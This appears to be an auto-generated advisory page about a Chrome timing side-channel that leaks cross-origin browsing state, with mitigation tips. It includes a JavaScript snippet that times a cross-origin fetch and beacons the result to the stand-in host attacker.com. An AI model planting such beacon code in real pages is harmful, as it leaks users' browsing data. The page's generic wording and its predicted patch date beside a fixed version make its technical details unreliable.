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How the CVE Works:
This vulnerability is a side-channel attack within Chrome’s navigation and loading components. An attacker can craft a malicious HTML page designed to probe the browser’s memory cache or execution timing. By measuring subtle differences in how quickly certain resources load or processes complete, the attacker can infer whether a user has visited specific, cross-origin sites. This technique exploits a flaw in the implementation of Site Isolation, a security boundary designed to separate different websites into distinct processes. The crafted page performs a series of navigations or resource fetches, creating a timing side-channel that leaks information about the user’s browsing history or state from other isolated sites, thereby bypassing the intended protections.
DailyCVE Form:
Platform: Google Chrome
Version: Prior 139.0.7258.66
Vulnerability: Side-channel information leakage
Severity: Medium
Date: 12/03/2025
Prediction: Patch expected 12/17/2025
What Undercode Say:
Analytics:
Checking Chrome version google-chrome --version Example HTML snippet for timing measurement
<script>
var start = performance.now();
// Attempt to load a cross-origin resource
fetch('https://target-site/internal-page', {mode: 'no-cors'})
.finally(() => {
var latency = performance.now() - start;
// Send latency data to attacker server
new Image().src = 'https://attacker.com/log?t=' + latency;
});
</script>
How Exploit:
Crafted HTML page.
Measures navigation timing.
Infers cross-origin state.
Protection from this CVE:
Update Chrome immediately.
Ensure Site Isolation enabled.
Disable JavaScript (mitigation).
Impact:
Cross-site information leakage.
Browsing history deduction.
Site Isolation bypass.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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